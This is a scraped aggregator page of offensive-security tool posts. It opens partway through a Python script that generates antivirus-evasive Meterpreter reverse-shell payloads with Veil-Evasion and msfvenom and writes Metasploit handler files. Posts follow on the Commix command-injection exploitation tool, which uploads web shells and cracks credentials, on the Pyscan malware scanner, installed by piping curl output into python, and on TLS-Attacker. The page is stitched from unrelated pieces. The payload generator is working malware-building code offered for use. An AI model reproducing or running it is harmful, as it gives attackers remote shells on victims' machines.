		handler_file = open(base + "handlers/" + handler , "w")
		handler_file.write("use exploit/multi/handler\n")
		handler_file.write("set payload " + payload +"\n")
		handler_file.write("set LPORT 443\n")
		handler_file.write("set LHOST " + ip + "\n")
		handler_file.write("exploit -j -z\n")
		handler_file.close()
		print "[!] Generated : " + yellowtxt(handler) + "\n\n"


def veil_payloads(ip, output_dir, move_payloads):
	""" Takes local IP address as LHOST parm and builds Veil payloads"""
	# Veil doesn't have a custom output directory option and the default path gets pulled from the config file
	# hacky approach :: copy each generated payload and hander in to the custom output directory if it is supplied
	veil_script = "/root/tools/attacking/Veil/Veil-Evasion/./Veil-Evasion.py "
	# start empty list to hold
	payloads = []
	# appends payloads with nested 3 value list for dynamic parm calling
	payloads.append(["cs/meterpreter/rev_https", 443, "veil_rev_https"])
	payloads.append(["c/meterpreter/rev_tcp",443,"veil_rev_tcp_met"])
	payloads.append(["c/meterpreter/rev_http_service",443, "veil_rev_http_srv"])


	print "Creating Veil Goodness"
	for parms in payloads:
		lhost = ip
		payload = parms[0]
		lport = str(parms[1])
		output = parms[2]
		command = ("-p " + payload + " -c LHOST=" + lhost + " LPORT=" + lport + " -o " + output + " --overwrite")
		os.system(veil_script + command)
		time.sleep(2)
		# if using a custom output directory, veil doesn't have an option to specify the base directory as it gets this from the conf file
		# payload generated above has unique 'base' name - access the list and check the boolean flag that is pushed in
		# if this is true, move the file/handler into the custom output directory so that all payloads are in custom location
		if move_payloads == True:
			# move payload
			os.system("mv /root/payloads/windows/" + output + ".exe "  + output_dir)
			os.system("mv /root/payloads/windows/" + output + ".dll "  + output_dir)
			# move handler
			os.system("mv /root/payloads/windows/handlers/" + output + "_handler.rc " + output_dir + "handlers")


def clean(payload_path):
	""" Cleans out directory """
	# start with default Veil direcory - gets rid of hashes etc
	os.system("/root/tools/attacking/Veil/Veil-Evasion/./Veil-Evasion.py --clean")
	os.system("clear")
 	print yellowtxt("[!] Now cleaning default output directory\n")
	# clean out generated payloads in default or custom directory
	for file in os.listdir(payload_path):
		file = payload_path + file
		if os.path.isfile(file):
			print "[!] Removing " + bluetxt(file)
			os.remove(file)



def get_payload_output(payload_output_dir):
	""" Builds directory structure if output option is supplied """
	output_dir = payload_output_dir
	# check to see if the trailing slash has been added to the path : ie /root/path
	if not output_dir.endswith("/"):
		output_dir = output_dir + "/"

	# creates the structure if it doesn't exist
	if not os.path.isdir(output_dir):
		print yellowtxt("[!] Creating output directory structure")
		os.mkdir(output_dir)
		os.chdir(output_dir)
		os.mkdir('handlers')

	return output_dir



###############################
### 	Helper Functions	###
###############################

def redtxt(text2colour):
	redstart = "\033[0;31m"
	redend = "\033[0m"
	return redstart + text2colour + redend

def greentxt(text2colour):
	greenstart = "\033[0;32m"
	greenend = "\033[0m"
	return greenstart + text2colour + greenend

def yellowtxt(text2colour):
	yellowstart = "\033[0;33m"
	yellowend = "\033[0m"
	return yellowstart + text2colour + yellowend

def bluetxt(text2colour):
	bluestart = "\033[0;34m"
	blueend = "\033[0m"
	return bluestart + text2colour + blueend



##############################
##		 Main Function	   ###
##############################


def Main():
	# program version
	version = 0.3
	banner()
	default_path = '/root/payloads/windows'

	parser = argparse.ArgumentParser(description="Payday Payload Generator :: Takes the IP Address and then builds meterpreter windows payloads using msfvenom and veil. Outputs to '/root/payloads/windows/' by default.")
	parser.add_argument("--veil", action="store_true", help='Veil Payloads')
	parser.add_argument("--msf", action="store_true", help='MSF Payloads > tcp/exe, tcp/http(s), exe-service, dll')
	parser.add_argument("--clean", action="store_true", help="Cleans out existing files in the output directory")
	parser.add_argument("--output", help="Specify new output directory.")
	parser.add_argument("--ip", help='Specify Local IP Address for reverse connections')

	# counts the supplied number of arguments and prints help if they are missing
	if len(sys.argv)==1:
		parser.print_help()
			
		sys.exit(1)

	args = parser.parse_args()

	# default variable setup
	ip = args.ip
	output_dir = ""
	move_payloads = False

	# set up default path
	if args.output:
		output = args.output
		output_dir = get_payload_output(output)
		move_payloads = True

	else:
		# default directory output :: Veil config points to the this location
		output_dir = "/root/payloads/windows/"
		# add check to see if this direcory exists and if not, create it
		if not os.path.isdir(output_dir):
			print bluetxt("[*] The default path : %s is missing") %output_dir
			print yellowtxt("[!] You need to create this default path")
			sys.exit(1)
			#os.mkdir(output_dir)
			#os.chdir(output_dir)
			#os.mkdir('handlers')


	if args.msf:
		if not ip:
			print "[!] IP address required with this payload option :: --msf --ip <Address>"
		else:
			print yellowtxt("[!] Encoding MSF Payloads")
			msf_payloads(ip, output_dir)

	if args.veil:
		if not ip:
			print "[!] IP address required with this payload option :: --veil --ip <Address>"
		else:
			print yellowtxt("[!] Encoding Veil payloads")
			veil_payloads(ip ,output_dir, move_payloads)

	if args.clean:
		if args.output:
			output_dir = get_payload_output(output)
			print redtxt("Cleaning out Payload and Handler File directories in : ") + yellowtxt(output_dir)
			clean(output_dir)
		else:
			payload_paths = ["/root/payloads/windows/","/root/payloads/windows/handlers/"]
			print redtxt("Cleaning out Payload and Handler File directories")
			for payload_path in payload_paths:
				clean(payload_path)


if __name__ == "__main__":
	Main()

Source: https://github.com/lorentzenman

Commix v0.7b – Automatic All-in-One OS Command Injection and Exploitation Tool.

$
0
0

Changelog Version 0.7b:
* Added: The ability to store valid (Digest) credentials into session files for current target.
* Added: Dictionary-based cracker for “Digest” HTTP authentication credentials.
* Added: Support for “Digest” HTTP authentication type.

commix v0.7 git

commix v0.7 git

Changelog Version 0.6b [2016]:
* Added: The ability to store valid credentials into session files for current target.
* Added: The ability to store valid (Basic) credentials into session files for current target.
* Added: New option “–ignore-401” that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials.
* Added: Dictionary-based cracker for “Basic” HTTP authentication credentials.
* Added: Identifier for HTTP authentication type (currently only “Basic” type is supported).on.

commix v0.6B git installation

commix v0.6B git installation

changelog v0.4b:
* Added: New option “–flush-session” for flushing session files for current target.
* Added: Support to resume to the latest injection points from session file.
* Added: Payload mutation if WAF/IPS/IDS protection is detected.
* Added: Check for existence of WAF/IPS/IDS protection (via error pages).
* Added: The “set” option in “reverse_tcp” which sets a context-specific variable to a value.
Version 0.3b [2015]:
+ Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests.
+ Added: New option “-l”, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab).
+ Added: Check if Powershell is enabled in target host, if the applied option’s payload is requiring the use of PowerShell.
+ Added: New option “–ps-version”, that checks PowerShell’s version number.
+ Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid “Microsoft-IIS” server’s incompatibilities.
+ Added: Support (in MacOSX platforms) for a tab completion in shell options.
+ Added: Undocumented parameter “-InputFormat none” so to avoid “Microsoft-IIS” server’s hang.
+ Added: Ability for identification of “Microsoft-IIS” servers.
+ Added: Statistical checks for time-related (“time-based”/”tempfile-based”) techniques.
+ Added: Support for Windows-based (cmd / powershell) payloads for every injection technique.ng..

Commix (short for [com]mand [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.

Commix v0.2b-7cc57eb Example screenCapture Updates commix-v-0.1b : Automated All-in-One OS Command Injection and Exploitation Tool. Has been Tested on: Kali Sana, Windows 7/8.1/10, Debian, Ubuntu, Arch-Linux

Commix v0.2b-7cc57eb
Example screenCapture Updates commix-v-0.1b : Automated All-in-One OS Command Injection and Exploitation Tool. Has been Tested on: Kali Sana, Windows 7/8.1/10, Debian, Ubuntu, Arch-Linux

Disclaimer :
The tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes!!

Command Injection Testbeds
A collection of pwnable VMs, that includes web apps vulnerable to command injections.
+ Damn Vulnerable Web App
+ OWASP: Mutillidae
+ bWAPP: bee-box (v1.6)
+ Persistence
+ Pentester Lab: Web For Pentester
+ Pentester Lab: CVE-2014-6271/Shellshock
+ Pentester Lab: Rack Cookies and Commands injection
+ Pentester Academy: Command Injection ISO: 1
+ SpiderLabs: MCIR (ShelLOL)
+ Kioptrix: Level 1.1 (#2)
+ Kioptrix: 2014 (#5)
+ Acid Server: 1
+ Flick: 2
+ w3af-moth
+ commix-testbed

Exploitation Demos:
+ Exploiting DVWA (1.0.8) command injection flaws.
+ Exploiting bWAPP command injection flaws (normal & blind).
+ Exploiting ‘Persistence’ blind command injection flaw.
+ Exploiting shellshock command injection flaws.
+ Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host.
+ Upload a Weevely PHP web shell on target host.
+ Exploiting cookie-based command injection flaws.
+ Exploiting user-agent-based command injection flaws.
+ Exploiting referer-based command injection flaws.
+ Rack cookies and commands injection.

Usage

python commix.py [options]

Options:

-h, --help            Show help and exit.
--verbose             Enable the verbose mode.
--install             Install 'commix' to your system.
--version             Show version number and exit.
--update              Check for updates (apply if any) and exit.

Target:

This options has to be provided, to define the target URL.

--url=URL           Target URL.
--url-reload        Reload target URL after command execution.

Request:

These options can be used, to specify how to connect to the target
URL.

--method=METHOD     HTTP method (GET or POST).
--host=HOST         HTTP Host header.
--referer=REFERER   HTTP Referer header.
--user-agent=AGENT  HTTP User-Agent header.
--cookie=COOKIE     HTTP Cookie header.
--headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_..  Login panel URL.
--auth-data=AUTH..  Login parameters and data.
--auth-cred=AUTH..  HTTP Basic Authentication credentials (e.g.
                    'admin:admin').

Injection:

These options can be used, to specify which parameters to inject and
to provide custom injection payloads.

--param=PARAMETER   Parameter(s) to inject (use 'INJECT_HERE' tag).
--suffix=SUFFIX     Injection payload suffix string.
--prefix=PREFIX     Injection payload prefix string.
--technique=TECH    Specify a certain injection technique : 'classic',
                    'eval-based', 'time-based' or 'boolean-based'.
--maxlen=MAXLEN     The length of the output on time-based technique
                    (Default: 10000 chars).
--delay=DELAY       Set Time-delay for time-based and boolean-based
                    techniques (Default: 1 sec).
--base64            Use Base64 (enc)/(de)code trick to prevent false-
                    positive results.

Enumeration :

These options can be used, to enumerate the target host.

--current-user  Retrieve current user.
--hostname      Retrieve server hostname.
--is-root       Check if the current user have root privs

Installation:

git clone https://github.com/stasinopoulos/commix
cd commix
python commix.py -h (for helper)
python commix.py --update (for update)

Download : Master.zip | Clone Url
Source : https://github.com/stasinopoulos/ | Our post Before

Pyscan – A fast malware scanner using ShellScannerPatterns.

$
0
0

Pyscan – A fast malware scanner using ShellScannerPatterns.
requiremnets:
+ python 2.7.xpyscan-run

Supported Platforms
+ CentOS 5/6/7
+ CloudLinux 5/6/7
+ Redhat 5/6/7
+ Ubuntu and Debian – All versions.
+ Windows with https://msys2.github.io
+ cPanel – Plesk – Directadmin (other control panels not tested.)
+ Any cms.

Usage:

git clone https://github.com/bashcode/Pyscan && cd Pyscan
python pyscan.py

Detect Only:
python <(curl -ks https://raw.githubusercontent.com/bashcode/Pyscan/master/pyscan.py)
Clean Malware:
python <(curl -ks https://raw.githubusercontent.com/bashcode/Pyscan/master/removeinjections.py)

Windows:
Download, install, and run MSYS2
Run update-core to update the core packages.
Run pacman -S python2 python2-setuptools
For significantly faster scans, compile and install re2. Install the Pyton module with easy_install2.7 re2.
Use the function pyscan provided above.

Source: https://github.com/bashcode

TLS-Attacker v1.1 is a Java-based framework for analyzing TLS libraries.

$
0
0

TLS-Attacker is a Java-based framework for analyzing TLS libraries. It is able to send arbitrary protocol messages in an arbitrary order to the TLS peer, and define their modifications using a provided interface. This gives the developer an opportunity to easily define a custom TLS protocol flow and test it against his TLS library.

Please note: TLS-Attacker is a research tool intended for TLS developers and pentesters. There is no GUI and no green/red lights. It is the first version and can contain some bugs.tls-attacker

TLS-Attacker consists of several (maven) projects:
+ Transport: Transport utilities for TCP and UDP.
+ ModifiableVariable: Contains modifiable variables that allow one to execute (specific as well as random) variable modifications during the protocol flow. ModifiableVariables are used in the protocol messages.
+ TLS: Protocol implementation, currently (D)TLS1.2 compatible.
+ Attacks: Implementation of some well-known attacks and tests for these attacks.
+ Fuzzer: Fuzzing framework implemented on top of the TLS-Attacker functionality.

Currently, the following features are supported:
– TLS versions 1.0 (RFC-2246), 1.1 (RFC-4346) and 1.2 (RFC-5246)
– DTLS 1.2 (RFC-6347)
– (EC)DH and RSA key exchange algorithms
– AES CBC cipher suites
– Extensions: EC, EC point format, Heartbeat, Max fragment length, Server name, Signature and Hash algorithms
– TLS client and server

usage:

git clone https://github.com/RUB-NDS/TLS-Attacker && cd TLS-Attacker
./mvnw clean package -DskipTests=true

cd resources
openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem -verify ec256cert.pem
java -jar Runnable/target/TLS-Attacker-1.0.jar -help

Download: TLS-Attacker-1.1.zip
Source: https://github.com/RUB-NDS

Viewing all 62 articles
Browse latest View live